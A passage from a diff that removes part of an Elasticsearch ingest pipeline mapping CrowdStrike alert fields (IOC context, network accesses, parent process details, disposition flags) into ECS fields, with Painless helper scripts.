-      field: json.idp_policy_mfa_factor_type
-      tag: convert_idp_policy_mfa_factor_type_to_long
-      target_field: crowdstrike.alert.idp_policy.mfa_factor_type
-      type: long
-      if: ctx.json?.idp_policy_mfa_factor_type != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.idp_policy_mfa_provider
-      tag: convert_idp_policy_mfa_provider_to_long
-      target_field: crowdstrike.alert.idp_policy.mfa_provider
-      type: long
-      if: ctx.json?.idp_policy_mfa_provider != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.idp_policy_rule_action
-      tag: convert_idp_policy_rule_action_to_long
-      target_field: crowdstrike.alert.idp_policy.rule_action
-      type: long
-      if: ctx.json?.idp_policy_rule_action != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.idp_policy_rule_trigger
-      tag: convert_idp_policy_rule_trigger_to_long
-      target_field: crowdstrike.alert.idp_policy.rule_trigger
-      type: long
-      if: ctx.json?.idp_policy_rule_trigger != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.idp_policy_rule_id
-      tag: rename_idp_policy_rule_id
-      target_field: crowdstrike.alert.idp_policy.rule_id
-      ignore_missing: true
-  - set:
-      field: rule.id
-      tag: set_rule_id_from_alert_idp_policy_rule_id
-      copy_from: crowdstrike.alert.idp_policy.rule_id
-      ignore_empty_value: true
-  - rename:
-      field: json.idp_policy_rule_name
-      tag: rename_idp_policy_rule_name
-      target_field: crowdstrike.alert.idp_policy.rule_name
-      ignore_missing: true
-  - set:
-      field: rule.name
-      tag: set_rule_name_from_alert_idp_policy_rule_name
-      copy_from: crowdstrike.alert.idp_policy.rule_name
-      ignore_empty_value: true
-  - rename:
-      field: json.image_file_name
-      tag: rename_image_file_name
-      target_field: crowdstrike.alert.image_file_name
-      ignore_missing: true
-  - set:
-      field: file.path
-      tag: set_file_path_from_alert_image_file_name
-      copy_from: crowdstrike.alert.image_file_name
-      ignore_empty_value: true
-  - date:
-      field: json.incident.created
-      tag: date_incident_created
-      target_field: crowdstrike.alert.incident.created
-      formats:
-        - yyyy-MM-dd'T'HH:mm:ss'Z'
-      if: ctx.json?.incident?.created != null && ctx.json.incident.created != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      field: json.incident.end
-      tag: date_incident_end
-      target_field: crowdstrike.alert.incident.end
-      formats:
-        - yyyy-MM-dd'T'HH:mm:ss'Z'
-      if: ctx.json?.incident?.end != null && ctx.json.incident.end != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.incident.id
-      tag: rename_incident_id
-      target_field: crowdstrike.alert.incident.id
-      ignore_missing: true
-  - convert:
-      field: json.incident.score
-      tag: convert_incident_score_to_double
-      target_field: crowdstrike.alert.incident.score
-      type: double
-      if: ctx.json?.incident?.score != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      field: json.incident.start
-      tag: date_incident_start
-      target_field: crowdstrike.alert.incident.start
-      formats:
-        - yyyy-MM-dd'T'HH:mm:ss'Z'
-      if: ctx.json?.incident?.start != null && ctx.json.incident.start != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  - rename:
-      field: json.indicator_id
-      tag: rename_indicator_id
-      target_field: crowdstrike.alert.indicator_id
-      ignore_missing: true
-  - rename:
-      field: json.ioc_context
-      tag: rename_ioc_context
-      target_field: crowdstrike.alert.ioc_context
-      ignore_missing: true
-  - foreach:
-      field: crowdstrike.alert.ioc_context
-      if: ctx.crowdstrike?.alert?.ioc_context instanceof List
-      ignore_failure: true
-      processor:
-        append:
-          field: related.hash
-          tag: append_ioc_context_md5_to_related_hash
-          value: '{{{_ingest._value.md5}}}'
-          allow_duplicates: false
-  - foreach:
-      field: crowdstrike.alert.ioc_context
-      if: ctx.crowdstrike?.alert?.ioc_context instanceof List
-      ignore_failure: true
-      processor:
-        append:
-          field: related.hash
-          tag: append_ioc_context_sha256_to_related_hash
-          value: '{{{_ingest._value.sha256}}}'
-          allow_duplicates: false
-  - rename:
-      field: json.ioc_description
-      tag: rename_ioc_description
-      target_field: crowdstrike.alert.ioc_description
-      ignore_missing: true
-  - rename:
-      field: json.ioc_source
-      tag: rename_ioc_source
-      target_field: crowdstrike.alert.ioc_source
-      ignore_missing: true
-  - rename:
-      field: json.ioc_type
-      tag: rename_ioc_type
-      target_field: crowdstrike.alert.ioc_type
-      ignore_missing: true
-  - rename:
-      field: json.ioc_value
-      tag: rename_ioc_value
-      target_field: crowdstrike.alert.ioc_value
-      ignore_missing: true
-  - rename:
-      field: json.ioc_values
-      tag: rename_ioc_values
-      target_field: crowdstrike.alert.ioc_values
-      ignore_missing: true
-  - append:
-      field: crowdstrike.alert.ioc_values
-      tag: append_ioc_value_to_ioc_values
-      value: '{{{crowdstrike.alert.ioc_value}}}'
-      if: ctx.crowdstrike?.alert?.ioc_value != null
-      allow_duplicates: false
-  - foreach:
-      tag: reconstruct_ioc_values_from_ioc_context
-      field: crowdstrike.alert.ioc_context
-      if: ctx.crowdstrike?.alert?.ioc_context instanceof List
-      ignore_failure: true
-      processor:
-        append:
-          field: crowdstrike.alert.ioc_values
-          tag: append_ioc_context_ioc_value_to_ioc_values
-          value: '{{{_ingest._value.ioc_value}}}'
-          allow_duplicates: false
-  - convert:
-      field: json.is_synthetic_quarantine_disposition
-      tag: convert_is_synthetic_quarantine_disposition_to_boolean
-      target_field: crowdstrike.alert.is_synthetic_quarantine_disposition
-      type: boolean
-      if: ctx.json?.is_synthetic_quarantine_disposition != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - script:
-      tag: reconstruct_is_synthetic_quarantine_disposition_from_pattern_disposition_details
-      lang: painless
-      if: ctx.crowdstrike?.alert?.is_synthetic_quarantine_disposition == null && ctx.json?.pattern_disposition_details instanceof Map
-      source: |
-        if (ctx.crowdstrike == null) {
-          ctx.crowdstrike = [:];
-        }
-        if (ctx.crowdstrike.alert == null) {
-          ctx.crowdstrike.alert = [:];
-        }
-        for (def d: ctx.json.pattern_disposition_details.entrySet()) {
-          if (d.getKey() == 'quarantine_file') {
-            ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = d.getValue();
-            return;
-          }
-        }
-        ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = false;
-  - convert:
-      field: json.ldap_search_query_attack
-      tag: convert_ldap_search_query_attack_to_long
-      target_field: crowdstrike.alert.ldap_search_query_attack
-      type: long
-      if: ctx.json?.ldap_search_query_attack != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.local_prevalence
-      tag: rename_local_prevalence
-      target_field: crowdstrike.alert.local_prevalence
-      ignore_missing: true
-  - rename:
-      field: json.local_process_id
-      tag: rename_local_process_id
-      target_field: crowdstrike.alert.local_process_id
-      ignore_missing: true
-  - rename:
-      field: json.location_country_code
-      tag: rename_location_country_code
-      target_field: crowdstrike.alert.location_country_code
-      ignore_missing: true
-  - set:
-      field: observer.geo.country_iso_code
-      tag: set_observer_geo_country_iso_code_from_alert_location_country_code
-      copy_from: crowdstrike.alert.location_country_code
-      ignore_empty_value: true
-  - convert:
-      field: json.location_latitude_as_int
-      tag: convert_location_latitude_as_int_to_long
-      target_field: crowdstrike.alert.location_latitude_as_int
-      type: long
-      if: ctx.json?.location_latitude_as_int != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.location_longitude_as_int
-      tag: convert_location_longitude_as_int_to_long
-      target_field: crowdstrike.alert.location_longitude_as_int
-      type: long
-      if: ctx.json?.location_longitude_as_int != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - script:
-      description: combine latitude and longitude.
-      tag: script_to_combine_latitude_and_longitude
-      lang: painless
-      if: ctx.crowdstrike?.alert?.location_latitude_as_int != null && ctx.crowdstrike?.alert?.location_longitude_as_int != null
-      source: |-
-          def location = new HashMap();
-          location.put('lat', ctx.crowdstrike.alert.location_latitude_as_int);
-          location.put('lon', ctx.crowdstrike.alert.location_longitude_as_int);
-          if(ctx.observer == null) {
-            ctx.put('observer', new HashMap());
-          }
-          if(ctx.observer.geo == null){
-            ctx.observer.put('geo', new HashMap());
-          }
-          ctx.observer.geo.location = location;
-  - rename:
-      field: json.logon_domain
-      tag: rename_logon_domain
-      target_field: crowdstrike.alert.logon_domain
-      ignore_missing: true
-  - rename:
-      field: json.md5
-      tag: rename_md5
-      target_field: crowdstrike.alert.md5
-      ignore_missing: true
-  - set:
-      field: process.hash.md5
-      tag: set_process_hash_md5
-      copy_from: crowdstrike.alert.md5
-      ignore_empty_value: true
-  - append:
-      field: related.hash
-      value: '{{{crowdstrike.alert.md5}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.md5 != null
-  - rename:
-      field: json.model_anomaly_indicators
-      tag: rename_model_anomaly_indicators
-      target_field: crowdstrike.alert.model_anomaly_indicators
-      ignore_missing: true
-  - rename:
-      field: json.name
-      tag: rename_name
-      target_field: crowdstrike.alert.name
-      ignore_missing: true
-  - foreach:
-      field: json.network_accesses
-      if: ctx.json?.network_accesses instanceof List
-      processor:
-        date:
-          field: _ingest._value.access_timestamp
-          tag: date_network_accesses_access_timestamp
-          target_field: _ingest._value.access_timestamp
-          formats:
-            - UNIX
-            - UNIX_MS
-          on_failure:
-            - remove:
-                field: _ingest._value.access_timestamp
-                ignore_missing: true
-  - foreach:
-      field: json.network_accesses
-      if: ctx.json?.network_accesses instanceof List
-      processor:
-        convert:
-          field: _ingest._value.access_type
-          tag: convert_network_accesses_access_type_to_long
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.access_type
-                ignore_missing: true
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.network_accesses
-      if: ctx.json?.network_accesses instanceof List
-      processor:
-        convert:
-          field: _ingest._value.isIPV6
-          tag: convert_network_accesses_isIPV6_to_boolean
-          type: boolean
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.isIPV6
-                ignore_missing: true
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.network_accesses
-      if: ctx.json?.network_accesses instanceof List
-      processor:
-        convert:
-          field: _ingest._value.local_address
-          tag: convert_network_accesses_local_address_to_ip
-          type: ip
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.local_address
-                ignore_missing: true
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.network_accesses
-      if: ctx.json?.network_accesses instanceof List
-      processor:
-        append:
-          field: related.ip
-          tag: append_network_accesses_local_address_into_related_ip
-          value: '{{{_ingest._value.local_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.network_accesses
-      if: ctx.json?.network_accesses instanceof List
-      processor:
-        convert:
-          field: _ingest._value.local_port
-          tag: convert_network_accesses_local_port_to_long
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.local_port
-                ignore_missing: true
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.network_accesses
-      if: ctx.json?.network_accesses instanceof List
-      processor:
-        convert:
-          field: _ingest._value.remote_address
-          tag: convert_network_accesses_remote_address_to_ip
-          type: ip
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.remote_address
-                ignore_missing: true
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.network_accesses
-      if: ctx.json?.network_accesses instanceof List
-      processor:
-        append:
-          field: related.ip
-          tag: append_network_accesses_remote_address_into_related_ip
-          value: '{{{_ingest._value.remote_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.network_accesses
-      if: ctx.json?.network_accesses instanceof List
-      processor:
-        convert:
-          field: _ingest._value.remote_port
-          tag: convert_network_accesses_remote_port_to_long
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.remote_port
-                ignore_missing: true
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.network_accesses
-      tag: rename_network_accesses
-      target_field: crowdstrike.alert.network_accesses
-      ignore_missing: true
-  - rename:
-      field: json.objective
-      tag: rename_objective
-      target_field: crowdstrike.alert.objective
-      ignore_missing: true
-  - rename:
-      field: json.operating_system
-      tag: rename_operating_system
-      target_field: crowdstrike.alert.operating_system
-      ignore_missing: true
-  - set:
-      field: host.os.name
-      tag: set_host_os_name_from_alert_operating_system
-      copy_from: crowdstrike.alert.operating_system
-      ignore_empty_value: true
-  - script:
-      description: Dynamically set host.os.type values.
-      tag: script_map_host_os_type
-      lang: painless
-      params:
-        os_type:
-          - linux
-          - macos
-          - unix
-          - windows
-          - ios
-          - android
-      source: |
-        if (ctx.crowdstrike?.alert?.device?.platform_name != null) {
-          String platform_name = ctx.crowdstrike.alert.device.platform_name.toLowerCase();
-          for (String os: params.os_type) {
-            if (platform_name.contains(os)) {
-              ctx.host.os.put('type', os);
-              return;
-            }
-          }
-        } else if (ctx.crowdstrike?.alert?.operating_system != null) {
-          String operating_system = ctx.crowdstrike.alert.operating_system.toLowerCase();
-          for (String os: params.os_type) {
-            if (operating_system.contains(os)) {
-              ctx.host.os.put('type', os);
-              return;
-            }
-          }
-        }
-  - rename:
-      field: json.os_name
-      tag: rename_os_name
-      target_field: crowdstrike.alert.os_name
-      ignore_missing: true
-  - set:
-      field: host.os.family
-      tag: set_host_os_family_from_alert_os_name
-      copy_from: crowdstrike.alert.os_name
-      ignore_empty_value: true
-  - rename:
-      field: json.parent_details.cmdline
-      tag: rename_parent_details_cmdline
-      target_field: crowdstrike.alert.parent_details.cmdline
-      ignore_missing: true
-  - set:
-      field: process.parent.command_line
-      tag: set_process_parent_command_line_from_alert_parent_details_cmdline
-      copy_from: crowdstrike.alert.parent_details.cmdline
-      ignore_empty_value: true
-  - rename:
-      field: json.parent_details.filename
-      tag: rename_parent_details_filename
-      target_field: crowdstrike.alert.parent_details.filename
-      ignore_missing: true
-  - set:
-      field: process.parent.name
-      tag: set_process_parent_name
-      copy_from: crowdstrike.alert.parent_details.filename
-      ignore_empty_value: true
-  - rename:
-      field: json.parent_details.filepath
-      tag: rename_parent_details_filepath
-      target_field: crowdstrike.alert.parent_details.filepath
-      ignore_missing: true
-  - set:
-      field: process.parent.executable
-      tag: set_process_parent_executable
-      copy_from: crowdstrike.alert.parent_details.filepath
-      ignore_empty_value: true
-  - rename:
-      field: json.parent_details.local_process_id
-      tag: rename_parent_details_local_process_id
-      target_field: crowdstrike.alert.parent_details.local_process_id
-      ignore_missing: true
-  - rename:
-      field: json.parent_details.md5
-      tag: rename_parent_details_md5
-      target_field: crowdstrike.alert.parent_details.md5
-      ignore_missing: true
-  - append:
-      field: related.hash
-      value: '{{{crowdstrike.alert.parent_details.md5}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.parent_details?.md5 != null
-  - set:
-      field: process.parent.hash.md5
-      tag: set_process_parent_hash_md5_from_alert_parent_details_md5
-      copy_from: crowdstrike.alert.parent_details.md5
-      ignore_empty_value: true
-  - rename:
-      field: json.parent_details.process_graph_id
-      tag: rename_parent_details_process_graph_id
-      target_field: crowdstrike.alert.parent_details.process_graph_id
-      ignore_missing: true
-  - rename:
-      field: json.parent_details.process_id
-      tag: rename_parent_details_process_id
-      target_field: crowdstrike.alert.parent_details.process_id
-      ignore_missing: true
-  - rename:
-      field: json.parent_details.sha256
-      tag: rename_parent_details_sha256
-      target_field: crowdstrike.alert.parent_details.sha256
-      ignore_missing: true
-  - set:
-      field: process.parent.hash.sha256
-      tag: set_process_parent_hash_sha256_from_alert_parent_details_sha256
-      copy_from: crowdstrike.alert.parent_details.sha256
-      ignore_empty_value: true
-  - append:
-      field: related.hash
-      value: '{{{crowdstrike.alert.parent_details.sha256}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.parent_details?.sha256 != null
-  - date:
-      field: json.parent_details.timestamp
-      tag: date_parent_details_timestamp
-      target_field: crowdstrike.alert.parent_details.timestamp
-      formats:
-        - ISO8601
-      if: ctx.json?.parent_details?.timestamp != null && ctx.json.parent_details.timestamp != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.parent_details.user_graph_id
-      tag: rename_parent_details_user_graph_id
-      target_field: crowdstrike.alert.parent_details.user_graph_id
-      ignore_missing: true
-  - append:
-      field: related.user
-      tag: append_parent_details_user_graph_id_into_related_user
-      value: '{{{crowdstrike.alert.parent_details.user_graph_id}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.parent_details?.user_graph_id != null
-  - rename:
-      field: json.parent_details.user_id
-      tag: rename_parent_details_user_id
-      target_field: crowdstrike.alert.parent_details.user_id
-      ignore_missing: true
-  - set:
-      field: process.user.id
-      tag: set_process_user_id_from_alert_parent_details_user_id
-      copy_from: crowdstrike.alert.parent_details.user_id
-      ignore_empty_value: true
-  - rename:
-      field: json.parent_details.user_name
-      tag: rename_parent_details_user_name
-      target_field: crowdstrike.alert.parent_details.user_name
-      ignore_missing: true
-  - set:
-      field: process.user.name
-      tag: set_process_user_name_from_alert_parent_details_user_name
-      copy_from: crowdstrike.alert.parent_details.user_name
-      ignore_empty_value: true
-  - append:
-      field: related.user
-      tag: append_parent_details_user_id_into_related_user
-      value: '{{{crowdstrike.alert.parent_details.user_id}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.parent_details?.user_id != null
-  - append:
-      field: related.user
-      tag: append_parent_details_user_name_into_related_user
-      value: '{{{crowdstrike.alert.parent_details.user_name}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.parent_details?.user_name != null
-  - rename:
-      field: json.parent_process_id
-      tag: rename_parent_process_id
-      target_field: crowdstrike.alert.parent_process_id
-      ignore_missing: true
-  - set:
-      field: process.parent.entity_id
-      tag: set_process_parent_entity_id
-      copy_from: crowdstrike.alert.parent_process_id
-      ignore_empty_value: true
-  - convert:
-      field: crowdstrike.alert.parent_process_id
-      tag: convert_alert_parent_process_id
-      target_field: process.parent.pid
-      type: long
-      if: ctx.crowdstrike?.alert?.parent_process_id != ''
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition
-      tag: convert_pattern_disposition_to_long
-      target_field: crowdstrike.alert.pattern_disposition
-      type: long
-      if: ctx.json?.pattern_disposition != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.pattern_disposition_description
-      tag: rename_pattern_disposition_description
-      target_field: crowdstrike.alert.pattern_disposition_description
-      ignore_missing: true
-  - convert:
-      field: json.pattern_disposition_details.blocking_unsupported_or_disabled
-      tag: convert_pattern_disposition_details_blocking_unsupported_or_disabled_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.blocking_unsupported_or_disabled != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.bootup_safeguard_enabled
-      tag: convert_pattern_disposition_details_bootup_safeguard_enabled_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.bootup_safeguard_enabled != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.containment_file_system
-      tag: convert_pattern_disposition_details_containment_file_system_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.containment_file_system
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.containment_file_system != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.critical_process_disabled
-      tag: convert_pattern_disposition_details_critical_process_disabled_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.critical_process_disabled
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.critical_process_disabled != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.detect
-      tag: convert_pattern_disposition_details_detect_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.detect
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.detect != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.fs_operation_blocked
-      tag: convert_pattern_disposition_details_fs_operation_blocked_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.fs_operation_blocked
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.fs_operation_blocked != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.handle_operation_downgraded
-      tag: convert_pattern_disposition_details_handle_operation_downgraded_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.handle_operation_downgraded != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.inddet_mask
-      tag: convert_pattern_disposition_details_inddet_mask_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.inddet_mask
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.inddet_mask != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.indicator
-      tag: convert_pattern_disposition_details_indicator_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.indicator
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.indicator != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.kill_action_failed
-      tag: convert_pattern_disposition_details_kill_action_failed_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.kill_action_failed
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.kill_action_failed != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.kill_parent
-      tag: convert_pattern_disposition_details_kill_parent_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.kill_parent
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.kill_parent != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.kill_process
-      tag: convert_pattern_disposition_details_kill_process_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.kill_process
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.kill_process != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.kill_subprocess
-      tag: convert_pattern_disposition_details_kill_subprocess_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.kill_subprocess
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.kill_subprocess != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
